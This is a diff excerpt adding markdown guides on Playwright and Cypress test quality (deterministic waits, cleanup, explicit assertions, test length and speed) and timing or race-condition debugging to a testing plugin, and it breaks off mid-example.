+**Context**: When writing tests, eliminate all sources of non-determinism: hard waits, conditionals controlling flow, try-catch for flow control, and random data without seeds.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Non-deterministic test with conditionals and hard waits
+test('user can view dashboard - FLAKY', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.waitForTimeout(3000); // NEVER - arbitrary wait
+
+  // Conditional flow control - test behavior varies
+  if (await page.locator('[data-testid="welcome-banner"]').isVisible()) {
+    await page.click('[data-testid="dismiss-banner"]');
+    await page.waitForTimeout(500);
+  }
+
+  // Try-catch for flow control - hides real issues
+  try {
+    await page.click('[data-testid="load-more"]');
+  } catch (e) {
+    // Silently continue - test passes even if button missing
+  }
+
+  // Random data without control
+  const randomEmail = `user${Math.random()}@example.com`;
+  await expect(page.getByText(randomEmail)).toBeVisible(); // Will fail randomly
+});
+
+// ✅ GOOD: Deterministic test with explicit waits
+test('user can view dashboard', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+  // Setup via API (fast, controlled)
+  await apiRequest.post('/api/users', { data: user });
+
+  // Network-first: Intercept BEFORE navigate
+  const dashboardPromise = page.waitForResponse((resp) => resp.url().includes('/api/dashboard') && resp.status() === 200);
+
+  await page.goto('/dashboard');
+
+  // Wait for actual response, not arbitrary time
+  const dashboardResponse = await dashboardPromise;
+  const dashboard = await dashboardResponse.json();
+
+  // Explicit assertions with controlled data
+  await expect(page.getByText(`Welcome, ${user.name}`)).toBeVisible();
+  await expect(page.getByTestId('dashboard-items')).toHaveCount(dashboard.items.length);
+
+  // No conditionals - test always executes same path
+  // No try-catch - failures bubble up clearly
+});
+
+// Cypress equivalent
+describe('Dashboard', () => {
+  it('should display user dashboard', () => {
+    const user = createUser({ email: 'test@example.com', hasSeenWelcome: true });
+
+    // Setup via task (fast, controlled)
+    cy.task('db:seed', { users: [user] });
+
+    // Network-first interception
+    cy.intercept('GET', '**/api/dashboard').as('getDashboard');
+
+    cy.visit('/dashboard');
+
+    // Deterministic wait for response
+    cy.wait('@getDashboard').then((interception) => {
+      const dashboard = interception.response.body;
+
+      // Explicit assertions
+      cy.contains(`Welcome, ${user.name}`).should('be.visible');
+      cy.get('[data-cy="dashboard-items"]').should('have.length', dashboard.items.length);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Replace `waitForTimeout()` with `waitForResponse()` or element state checks
+- Never use if/else to control test flow - tests should be deterministic
+- Avoid try-catch for flow control - let failures bubble up clearly
+- Use factory functions with controlled data, not `Math.random()`
+- Network-first pattern prevents race conditions
+
+### Example 2: Isolated Test with Cleanup
+
+**Context**: When tests create data, they must clean up after themselves to prevent state pollution in parallel runs. Use fixture auto-cleanup or explicit teardown.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Test leaves data behind, pollutes other tests
+test('admin can create user - POLLUTES STATE', async ({ page, apiRequest }) => {
+  await page.goto('/admin/users');
+
+  // Hardcoded email - collides in parallel runs
+  await page.fill('[data-testid="email"]', 'newuser@example.com');
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // NO CLEANUP - user remains in database
+  // Next test run fails: "Email already exists"
+});
+
+// ✅ GOOD: Test cleans up with fixture auto-cleanup
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { deleteRecord, seedDatabase } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id); // Track for cleanup
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+});
+
+// Use the fixture
+test('admin can create user', async ({ page, seedUser }) => {
+  // Create admin with unique data
+  const admin = await seedUser({
+    email: faker.internet.email(), // Unique each run
+    role: 'admin',
+  });
+
+  await page.goto('/admin/users');
+
+  const newUserEmail = faker.internet.email(); // Unique
+  await page.fill('[data-testid="email"]', newUserEmail);
+  await page.fill('[data-testid="name"]', 'New User');
+  await page.click('[data-testid="create-user"]');
+
+  await expect(page.getByText('User created')).toBeVisible();
+
+  // Verify in database
+  const createdUser = await seedUser({ email: newUserEmail });
+  expect(createdUser.email).toBe(newUserEmail);
+
+  // Auto-cleanup happens via fixture teardown
+});
+
+// Cypress equivalent with explicit cleanup
+describe('Admin User Management', () => {
+  const createdUserIds: string[] = [];
+
+  afterEach(() => {
+    // Cleanup: Delete all users created during test
+    createdUserIds.forEach((userId) => {
+      cy.task('db:delete', { table: 'users', id: userId });
+    });
+    createdUserIds.length = 0;
+  });
+
+  it('should create user', () => {
+    const admin = createUser({ role: 'admin' });
+    const newUser = createUser(); // Unique data via faker
+
+    cy.task('db:seed', { users: [admin] }).then((result: any) => {
+      createdUserIds.push(result.users[0].id);
+    });
+
+    cy.visit('/admin/users');
+    cy.get('[data-cy="email"]').type(newUser.email);
+    cy.get('[data-cy="name"]').type(newUser.name);
+    cy.get('[data-cy="create-user"]').click();
+
+    cy.contains('User created').should('be.visible');
+
+    // Track for cleanup
+    cy.task('db:findByEmail', newUser.email).then((user: any) => {
+      createdUserIds.push(user.id);
+    });
+  });
+});
+```
+
+**Key Points**:
+
+- Use fixtures with auto-cleanup via teardown (after `use()`)
+- Track all created resources in array during test execution
+- Use `faker` for unique data - prevents parallel collisions
+- Cypress: Use `afterEach()` with explicit cleanup
+- Never hardcode IDs or emails - always generate unique values
+
+### Example 3: Explicit Assertions in Tests
+
+**Context**: When validating test results, keep assertions visible in test bodies. Never hide assertions in helper functions - this obscures test intent and makes failures harder to diagnose.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: Assertions hidden in helper functions
+// helpers/api-validators.ts
+export async function validateUserCreation(response: Response, expectedEmail: string) {
+  const user = await response.json();
+  expect(response.status()).toBe(201);
+  expect(user.email).toBe(expectedEmail);
+  expect(user.id).toBeTruthy();
+  expect(user.createdAt).toBeTruthy();
+  // Hidden assertions - not visible in test
+}
+
+test('create user via API - OPAQUE', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // What assertions are running? Have to check helper.
+  await validateUserCreation(response, userData.email);
+  // When this fails, error is: "validateUserCreation failed" - NOT helpful
+});
+
+// ✅ GOOD: Assertions explicit in test
+test('create user via API', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // All assertions visible - clear test intent
+  expect(response.status()).toBe(201);
+
+  const createdUser = await response.json();
+  expect(createdUser.id).toBeTruthy();
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.name).toBe(userData.name);
+  expect(createdUser.role).toBe('user');
+  expect(createdUser.createdAt).toBeTruthy();
+  expect(createdUser.isActive).toBe(true);
+
+  // When this fails, error is: "Expected role to be 'user', got 'admin'" - HELPFUL
+});
+
+// ✅ ACCEPTABLE: Helper for data extraction, NOT assertions
+// helpers/api-extractors.ts
+export async function extractUserFromResponse(response: Response): Promise<User> {
+  const user = await response.json();
+  return user; // Just extracts, no assertions
+}
+
+test('create user with extraction helper', async ({ request }) => {
+  const userData = createUser({ email: 'test@example.com' });
+
+  const response = await request.post('/api/users', { data: userData });
+
+  // Extract data with helper (OK)
+  const createdUser = await extractUserFromResponse(response);
+
+  // But keep assertions in test (REQUIRED)
+  expect(response.status()).toBe(201);
+  expect(createdUser.email).toBe(userData.email);
+  expect(createdUser.role).toBe('user');
+});
+
+// Cypress equivalent
+describe('User API', () => {
+  it('should create user with explicit assertions', () => {
+    const userData = createUser({ email: 'test@example.com' });
+
+    cy.request('POST', '/api/users', userData).then((response) => {
+      // All assertions visible in test
+      expect(response.status).to.equal(201);
+      expect(response.body.id).to.exist;
+      expect(response.body.email).to.equal(userData.email);
+      expect(response.body.name).to.equal(userData.name);
+      expect(response.body.role).to.equal('user');
+      expect(response.body.createdAt).to.exist;
+      expect(response.body.isActive).to.be.true;
+    });
+  });
+});
+
+// ✅ GOOD: Parametrized tests for soft assertions (bulk validation)
+test.describe('User creation validation', () => {
+  const testCases = [
+    { field: 'email', value: 'test@example.com', expected: 'test@example.com' },
+    { field: 'name', value: 'Test User', expected: 'Test User' },
+    { field: 'role', value: 'admin', expected: 'admin' },
+    { field: 'isActive', value: true, expected: true },
+  ];
+
+  for (const { field, value, expected } of testCases) {
+    test(`should set ${field} correctly`, async ({ request }) => {
+      const userData = createUser({ [field]: value });
+
+      const response = await request.post('/api/users', { data: userData });
+      const user = await response.json();
+
+      // Parametrized assertion - still explicit
+      expect(user[field]).toBe(expected);
+    });
+  }
+});
+```
+
+**Key Points**:
+
+- Never hide `expect()` calls in helper functions
+- Helpers can extract/transform data, but assertions stay in tests
+- Parametrized tests are acceptable for bulk validation (still explicit)
+- Explicit assertions make failures actionable: "Expected X, got Y"
+- Hidden assertions produce vague failures: "Helper function failed"
+
+### Example 4: Test Length Limits
+
+**Context**: When tests grow beyond 300 lines, they become hard to understand, debug, and maintain. Refactor long tests by extracting setup helpers, splitting scenarios, or using fixtures.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 400-line monolithic test (truncated for example)
+test('complete user journey - TOO LONG', async ({ page, request }) => {
+  // 50 lines of setup
+  const admin = createUser({ role: 'admin' });
+  await request.post('/api/users', { data: admin });
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+  await expect(page).toHaveURL('/dashboard');
+
+  // 100 lines of user creation
+  await page.goto('/admin/users');
+  const newUser = createUser();
+  await page.fill('[data-testid="email"]', newUser.email);
+  // ... 95 more lines of form filling, validation, etc.
+
+  // 100 lines of permissions assignment
+  await page.click('[data-testid="assign-permissions"]');
+  // ... 95 more lines
+
+  // 100 lines of notification preferences
+  await page.click('[data-testid="notification-settings"]');
+  // ... 95 more lines
+
+  // 50 lines of cleanup
+  await request.delete(`/api/users/${newUser.id}`);
+  // ... 45 more lines
+
+  // TOTAL: 400 lines - impossible to understand or debug
+});
+
+// ✅ GOOD: Split into focused tests with shared fixture
+// playwright/support/fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page, request }, use) => {
+    // Shared setup: Login as admin
+    const admin = createUser({ role: 'admin' });
+    await request.post('/api/users', { data: admin });
+
+    await page.goto('/login');
+    await page.fill('[data-testid="email"]', admin.email);
+    await page.fill('[data-testid="password"]', 'password123');
+    await page.click('[data-testid="login"]');
+    await expect(page).toHaveURL('/dashboard');
+
+    await use(page); // Provide logged-in page
+
+    // Cleanup handled by fixture
+  },
+});
+
+// Test 1: User creation (50 lines)
+test('admin can create user', async ({ adminPage, seedUser }) => {
+  await adminPage.goto('/admin/users');
+
+  const newUser = createUser();
+  await adminPage.fill('[data-testid="email"]', newUser.email);
+  await adminPage.fill('[data-testid="name"]', newUser.name);
+  await adminPage.click('[data-testid="role-dropdown"]');
+  await adminPage.click('[data-testid="role-user"]');
+  await adminPage.click('[data-testid="create-user"]');
+
+  await expect(adminPage.getByText('User created')).toBeVisible();
+  await expect(adminPage.getByText(newUser.email)).toBeVisible();
+
+  // Verify in database
+  const created = await seedUser({ email: newUser.email });
+  expect(created.role).toBe('user');
+});
+
+// Test 2: Permission assignment (60 lines)
+test('admin can assign permissions', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}`);
+  await adminPage.click('[data-testid="assign-permissions"]');
+  await adminPage.check('[data-testid="permission-read"]');
+  await adminPage.check('[data-testid="permission-write"]');
+  await adminPage.click('[data-testid="save-permissions"]');
+
+  await expect(adminPage.getByText('Permissions updated')).toBeVisible();
+
+  // Verify permissions assigned
+  const response = await adminPage.request.get(`/api/users/${user.id}`);
+  const updated = await response.json();
+  expect(updated.permissions).toContain('read');
+  expect(updated.permissions).toContain('write');
+});
+
+// Test 3: Notification preferences (70 lines)
+test('admin can update notification preferences', async ({ adminPage, seedUser }) => {
+  const user = await seedUser({ email: faker.internet.email() });
+
+  await adminPage.goto(`/admin/users/${user.id}/notifications`);
+  await adminPage.check('[data-testid="email-notifications"]');
+  await adminPage.uncheck('[data-testid="sms-notifications"]');
+  await adminPage.selectOption('[data-testid="frequency"]', 'daily');
+  await adminPage.click('[data-testid="save-preferences"]');
+
+  await expect(adminPage.getByText('Preferences saved')).toBeVisible();
+
+  // Verify preferences
+  const response = await adminPage.request.get(`/api/users/${user.id}/preferences`);
+  const prefs = await response.json();
+  expect(prefs.emailEnabled).toBe(true);
+  expect(prefs.smsEnabled).toBe(false);
+  expect(prefs.frequency).toBe('daily');
+});
+
+// TOTAL: 3 tests × 60 lines avg = 180 lines
+// Each test is focused, debuggable, and under 300 lines
+```
+
+**Key Points**:
+
+- Split monolithic tests into focused scenarios (<300 lines each)
+- Extract common setup into fixtures (auto-runs for each test)
+- Each test validates one concern (user creation, permissions, preferences)
+- Failures are easier to diagnose: "Permission assignment failed" vs "Complete journey failed"
+- Tests can run in parallel (isolated concerns)
+
+### Example 5: Execution Time Optimization
+
+**Context**: When tests take longer than 1.5 minutes, they slow CI pipelines and feedback loops. Optimize by using API setup instead of UI navigation, parallelizing independent operations, and avoiding unnecessary waits.
+
+**Implementation**:
+
+```typescript
+// ❌ BAD: 4-minute test (slow setup, sequential operations)
+test('user completes order - SLOW (4 min)', async ({ page }) => {
+  // Step 1: Manual signup via UI (90 seconds)
+  await page.goto('/signup');
+  await page.fill('[data-testid="email"]', 'buyer@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.fill('[data-testid="confirm-password"]', 'password123');
+  await page.fill('[data-testid="name"]', 'Buyer User');
+  await page.click('[data-testid="signup"]');
+  await page.waitForURL('/verify-email'); // Wait for email verification
+  // ... manual email verification flow
+
+  // Step 2: Manual product creation via UI (60 seconds)
+  await page.goto('/admin/products');
+  await page.fill('[data-testid="product-name"]', 'Widget');
+  // ... 20 more fields
+  await page.click('[data-testid="create-product"]');
+
+  // Step 3: Navigate to checkout (30 seconds)
+  await page.goto('/products');
+  await page.waitForTimeout(5000); // Unnecessary hard wait
+  await page.click('[data-testid="product-widget"]');
+  await page.waitForTimeout(3000); // Unnecessary
+  await page.click('[data-testid="add-to-cart"]');
+  await page.waitForTimeout(2000); // Unnecessary
+
+  // Step 4: Complete checkout (40 seconds)
+  await page.goto('/checkout');
+  await page.waitForTimeout(5000); // Unnecessary
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  // ... more form filling
+  await page.click('[data-testid="submit-order"]');
+  await page.waitForTimeout(10000); // Unnecessary
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+
+  // TOTAL: ~240 seconds (4 minutes)
+});
+
+// ✅ GOOD: 45-second test (API setup, parallel ops, deterministic waits)
+test('user completes order', async ({ page, apiRequest }) => {
+  // Step 1: API setup (parallel, 5 seconds total)
+  const [user, product] = await Promise.all([
+    // Create user via API (fast)
+    apiRequest
+      .post('/api/users', {
+        data: createUser({
+          email: 'buyer@example.com',
+          emailVerified: true, // Skip verification
+        }),
+      })
+      .then((r) => r.json()),
+
+    // Create product via API (fast)
+    apiRequest
+      .post('/api/products', {
+        data: createProduct({
+          name: 'Widget',
+          price: 29.99,
+          stock: 10,
+        }),
+      })
+      .then((r) => r.json()),
+  ]);
+
+  // Step 2: Auth setup via storage state (instant, 0 seconds)
+  await page.context().addCookies([
+    {
+      name: 'auth_token',
+      value: user.token,
+      domain: 'localhost',
+      path: '/',
+    },
+  ]);
+
+  // Step 3: Network-first interception BEFORE navigation (10 seconds)
+  const cartPromise = page.waitForResponse('**/api/cart');
+  const orderPromise = page.waitForResponse('**/api/orders');
+
+  await page.goto(`/products/${product.id}`);
+  await page.click('[data-testid="add-to-cart"]');
+  await cartPromise; // Deterministic wait (no hard wait)
+
+  // Step 4: Checkout with network waits (30 seconds)
+  await page.goto('/checkout');
+  await page.fill('[data-testid="credit-card"]', '4111111111111111');
+  await page.fill('[data-testid="cvv"]', '123');
+  await page.fill('[data-testid="expiry"]', '12/25');
+  await page.click('[data-testid="submit-order"]');
+  await orderPromise; // Deterministic wait (no hard wait)
+
+  await expect(page.getByText('Order Confirmed')).toBeVisible();
+  await expect(page.getByText(`Order #${product.id}`)).toBeVisible();
+
+  // TOTAL: ~45 seconds (6x faster)
+});
+
+// Cypress equivalent
+describe('Order Flow', () => {
+  it('should complete purchase quickly', () => {
+    // Step 1: API setup (parallel, fast)
+    const user = createUser({ emailVerified: true });
+    const product = createProduct({ name: 'Widget', price: 29.99 });
+
+    cy.task('db:seed', { users: [user], products: [product] });
+
+    // Step 2: Auth setup via session (instant)
+    cy.setCookie('auth_token', user.token);
+
+    // Step 3: Network-first interception
+    cy.intercept('POST', '**/api/cart').as('addToCart');
+    cy.intercept('POST', '**/api/orders').as('createOrder');
+
+    cy.visit(`/products/${product.id}`);
+    cy.get('[data-cy="add-to-cart"]').click();
+    cy.wait('@addToCart'); // Deterministic wait
+
+    // Step 4: Checkout
+    cy.visit('/checkout');
+    cy.get('[data-cy="credit-card"]').type('4111111111111111');
+    cy.get('[data-cy="cvv"]').type('123');
+    cy.get('[data-cy="expiry"]').type('12/25');
+    cy.get('[data-cy="submit-order"]').click();
+    cy.wait('@createOrder'); // Deterministic wait
+
+    cy.contains('Order Confirmed').should('be.visible');
+    cy.contains(`Order #${product.id}`).should('be.visible');
+  });
+});
+
+// Additional optimization: Shared auth state (0 seconds per test)
+// playwright/support/global-setup.ts
+export default async function globalSetup() {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Create admin user once for all tests
+  const admin = createUser({ role: 'admin', emailVerified: true });
+  await page.request.post('/api/users', { data: admin });
+
+  // Login once, save session
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', admin.email);
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login"]');
+
+  // Save auth state for reuse
+  await page.context().storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+// Use shared auth in tests (instant)
+test.use({ storageState: 'playwright/.auth/admin.json' });
+
+test('admin action', async ({ page }) => {
+  // Already logged in - no auth overhead (0 seconds)
+  await page.goto('/admin');
+  // ... test logic
+});
+```
+
+**Key Points**:
+
+- Use API for data setup (10-50x faster than UI)
+- Run independent operations in parallel (`Promise.all`)
+- Replace hard waits with deterministic waits (`waitForResponse`)
+- Reuse auth sessions via `storageState` (Playwright) or `setCookie` (Cypress)
+- Skip unnecessary flows (email verification, multi-step signups)
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation quality), `*automate` (test expansion quality), `*test-review` (quality validation)
+- **Related fragments**:
+  - `network-first.md` - Deterministic waiting strategies
+  - `data-factories.md` - Isolated, parallel-safe data patterns
+  - `fixture-architecture.md` - Setup extraction and cleanup
+  - `test-levels-framework.md` - Choosing appropriate test granularity for speed
+
+## Core Quality Checklist
+
+Every test must pass these criteria:
+
+- [ ] **No Hard Waits** - Use `waitForResponse`, `waitForLoadState`, or element state (not `waitForTimeout`)
+- [ ] **No Conditionals** - Tests execute the same path every time (no if/else, try/catch for flow control)
+- [ ] **< 300 Lines** - Keep tests focused; split large tests or extract setup to fixtures
+- [ ] **< 1.5 Minutes** - Optimize with API setup, parallel operations, and shared auth
+- [ ] **Self-Cleaning** - Use fixtures with auto-cleanup or explicit `afterEach()` teardown
+- [ ] **Explicit Assertions** - Keep `expect()` calls in test bodies, not hidden in helpers
+- [ ] **Unique Data** - Use `faker` for dynamic data; never hardcode IDs or emails
+- [ ] **Parallel-Safe** - Tests don't share state; run successfully with `--workers=4`
+
+_Source: Murat quality checklist, Definition of Done requirements (lines 370-381, 406-422)._
diff --git a/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/timing-debugging.md b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/timing-debugging.md
new file mode 100644
index 0000000..61ae919
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-framework/resources/knowledge/timing-debugging.md
@@ -0,0 +1,372 @@
+# Timing Debugging and Race Condition Fixes
+
+## Principle
+
+Race conditions arise when tests make assumptions about asynchronous timing (network, animations, state updates). **Deterministic waiting** eliminates flakiness by explicitly waiting for observable events (network responses, element state changes) instead of arbitrary timeouts.
+
+## Rationale
+
+**The Problem**: Tests pass locally but fail in CI (different timing), or pass/fail randomly (race conditions). Hard waits (`waitForTimeout`, `sleep`) mask timing issues without solving them.
+
+**The Solution**: Replace all hard waits with event-based waits (`waitForResponse`, `waitFor({ state })`). Implement network-first pattern (intercept before navigate). Use explicit state checks (loading spinner detached, data loaded). This makes tests deterministic regardless of network speed or system load.
+
+**Why This Matters**:
+
+- Eliminates flaky tests (0 tolerance for timing-based failures)
+- Works consistently across environments (local, CI, production-like)
+- Faster test execution (no unnecessary waits)
+- Clearer test intent (explicit about what we're waiting for)
+
+## Pattern Examples
+
+### Example 1: Race Condition Identification (Network-First Pattern)
+
+**Context**: Prevent race conditions by intercepting network requests before navigation
+
+**Implementation**:
+
+```typescript
+// tests/timing/race-condition-prevention.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Race Condition Prevention Patterns', () => {
+  test('❌ Anti-Pattern: Navigate then intercept (race condition)', async ({ page, context }) => {
+    // BAD: Navigation starts before interception ready
+    await page.goto('/products'); // ⚠️ Race! API might load before route is set
+
+    await context.route('**/api/products', (route) => {
+      route.fulfill({ status: 200, body: JSON.stringify({ products: [] }) });
+    });
+
+    // Test may see real API response or mock (non-deterministic)
+  });
+
+  test('✅ Pattern: Intercept BEFORE navigate (deterministic)', async ({ page, context }) => {
+    // GOOD: Interception ready before navigation
+    await context.route('**/api/products', (route) => {
+      route.fulfill({
+        status: 200,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          products: [
+            { id: 1, name: 'Product A', price: 29.99 },
+            { id: 2, name: 'Product B', price: 49.99 },
+          ],
+        }),
+      });
+    });
+
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products'); // Navigation happens AFTER route is ready
+    await responsePromise; // Explicit wait for network
+
+    // Test sees mock response reliably (deterministic)
+    await expect(page.getByText('Product A')).toBeVisible();
+  });
+
+  test('✅ Pattern: Wait for element state change (loading → loaded)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for loading indicator to appear (confirms load started)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'visible' });
+
+    // Wait for loading indicator to disappear (confirms load complete)
+    await page.getByTestId('loading-spinner').waitFor({ state: 'detached' });
+
+    // Content now reliably visible
+    await expect(page.getByTestId('dashboard-data')).toBeVisible();
+  });
+
+  test('✅ Pattern: Explicit visibility check (not just presence)', async ({ page }) => {
+    await page.goto('/modal-demo');
+
+    await page.getByRole('button', { name: 'Open Modal' }).click();
+
+    // ❌ Bad: Element exists but may not be visible yet
+    // await expect(page.getByTestId('modal')).toBeAttached()
+
+    // ✅ Good: Wait for visibility (accounts for animations)
+    await expect(page.getByTestId('modal')).toBeVisible();
+    await expect(page.getByRole('heading', { name: 'Modal Title' })).toBeVisible();
+  });
+
+  test('❌ Anti-Pattern: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ⚠️ Deprecated for SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // May timeout in SPAs
+
+    // ✅ Better: Wait for specific API response
+    const responsePromise = page.waitForResponse('**/api/dashboard');
+    await page.goto('/dashboard');
+    await responsePromise;
+
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+});
+```
+
+**Key Points**:
+
+- Network-first: ALWAYS intercept before navigate (prevents race conditions)
+- State changes: Wait for loading spinner detached (explicit load completion)
+- Visibility vs presence: `toBeVisible()` accounts for animations, `toBeAttached()` doesn't
+- Avoid networkidle: Unreliable in SPAs (WebSocket, polling connections)
+- Explicit waits: Document exactly what we're waiting for
+
+---
+
+### Example 2: Deterministic Waiting Patterns (Event-Based, Not Time-Based)
+
+**Context**: Replace all hard waits with observable event waits
+
+**Implementation**:
+
+```typescript
+// tests/timing/deterministic-waits.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Deterministic Waiting Patterns', () => {
+  test('waitForResponse() with URL pattern', async ({ page }) => {
+    const responsePromise = page.waitForResponse('**/api/products');
+
+    await page.goto('/products');
+    await responsePromise; // Deterministic (waits for exact API call)
+
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+
+  test('waitForResponse() with predicate function', async ({ page }) => {
+    const responsePromise = page.waitForResponse((resp) => resp.url().includes('/api/search') && resp.status() === 200);
+
+    await page.goto('/search');
+    await page.getByPlaceholder('Search').fill('laptop');
+    await page.getByRole('button', { name: 'Search' }).click();
+
+    await responsePromise; // Wait for successful search response
+
+    await expect(page.getByTestId('search-results')).toBeVisible();
+  });
+
+  test('waitForFunction() for custom conditions', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // Wait for custom JavaScript condition
+    await page.waitForFunction(() => {
+      const element = document.querySelector('[data-testid="user-count"]');
+      return element && parseInt(element.textContent || '0') > 0;
+    });
+
+    // User count now loaded
+    await expect(page.getByTestId('user-count')).not.toHaveText('0');
+  });
+
+  test('waitFor() element state (attached, visible, hidden, detached)', async ({ page }) => {
+    await page.goto('/products');
+
+    // Wait for element to be attached to DOM
+    await page.getByTestId('product-list').waitFor({ state: 'attached' });
+
+    // Wait for element to be visible (animations complete)
+    await page.getByTestId('product-list').waitFor({ state: 'visible' });
+
+    // Perform action
+    await page.getByText('Product A').click();
+
+    // Wait for modal to be hidden (close animation complete)
+    await page.getByTestId('modal').waitFor({ state: 'hidden' });
+  });
+
+  test('Cypress: cy.wait() with aliased intercepts', async () => {
+    // Cypress example (not Playwright)
+    /*
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic wait for specific request
+
+    cy.get('[data-testid="product-list"]').should('be.visible')
+    */
+  });
+});
+```
+
+**Key Points**:
+
+- `waitForResponse()`: Wait for specific API calls (URL pattern or predicate)
+- `waitForFunction()`: Wait for custom JavaScript conditions
+- `waitFor({ state })`: Wait for element state changes (attached, visible, hidden, detached)
+- Cypress `cy.wait('@alias')`: Deterministic wait for aliased intercepts
+- All waits are event-based (not time-based)
+
+---
+
+### Example 3: Timing Anti-Patterns (What NEVER to Do)
+
+**Context**: Common timing mistakes that cause flakiness
+
+**Problem Examples**:
+
+```typescript
+// tests/timing/anti-patterns.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Timing Anti-Patterns to Avoid', () => {
+  test('❌ NEVER: page.waitForTimeout() (arbitrary delay)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ❌ Bad: Arbitrary 3-second wait (flaky)
+    // await page.waitForTimeout(3000)
+    // Problem: Might be too short (CI slower) or too long (wastes time)
+
+    // ✅ Good: Wait for observable event
+    await page.waitForResponse('**/api/dashboard');
+    await expect(page.getByText('Dashboard loaded')).toBeVisible();
+  });
+
+  test('❌ NEVER: cy.wait(number) without alias (arbitrary delay)', async () => {
+    // Cypress example
+    /*
+    // ❌ Bad: Arbitrary delay
+    cy.visit('/products')
+    cy.wait(2000) // Flaky!
+
+    // ✅ Good: Wait for specific request
+    cy.intercept('GET', '/api/products').as('getProducts')
+    cy.visit('/products')
+    cy.wait('@getProducts') // Deterministic
+    */
+  });
+
+  test('❌ NEVER: Multiple hard waits in sequence (compounding delays)', async ({ page }) => {
+    await page.goto('/checkout');
+
+    // ❌ Bad: Stacked hard waits (6+ seconds wasted)
+    // await page.waitForTimeout(2000) // Wait for form
+    // await page.getByTestId('email').fill('test@example.com')
+    // await page.waitForTimeout(1000) // Wait for validation
+    // await page.getByTestId('submit').click()
+    // await page.waitForTimeout(3000) // Wait for redirect
+
+    // ✅ Good: Event-based waits (no wasted time)
+    await page.getByTestId('checkout-form').waitFor({ state: 'visible' });
+    await page.getByTestId('email').fill('test@example.com');
+    await page.waitForResponse('**/api/validate-email');
+    await page.getByTestId('submit').click();
+    await page.waitForURL('**/confirmation');
+  });
+
+  test('❌ NEVER: waitForLoadState("networkidle") in SPAs', async ({ page }) => {
+    // ❌ Bad: Unreliable in SPAs (WebSocket connections never idle)
+    // await page.goto('/dashboard')
+    // await page.waitForLoadState('networkidle') // Timeout in SPAs!
+
+    // ✅ Good: Wait for specific API responses
+    await page.goto('/dashboard');
+    await page.waitForResponse('**/api/dashboard');
+    await page.waitForResponse('**/api/user');
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+  });
+
+  test('❌ NEVER: Sleep/setTimeout in tests', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Node.js sleep (blocks test thread)
+    // await new Promise(resolve => setTimeout(resolve, 2000))
+
+    // ✅ Good: Playwright auto-waits for element
+    await expect(page.getByText('Products loaded')).toBeVisible();
+  });
+});
+```
+
+**Why These Fail**:
+
+- **Hard waits**: Arbitrary timeouts (too short → flaky, too long → slow)
+- **Stacked waits**: Compound delays (wasteful, unreliable)
+- **networkidle**: Broken in SPAs (WebSocket/polling never idle)
+- **Sleep**: Blocks execution (wastes time, doesn't solve race conditions)
+
+**Better Approach**: Use event-based waits from examples above
+
+---
+
+## Async Debugging Techniques
+
+### Technique 1: Promise Chain Analysis
+
+```typescript
+test('debug async waterfall with console logs', async ({ page }) => {
+  console.log('1. Starting navigation...');
+  await page.goto('/products');
+
+  console.log('2. Waiting for API response...');
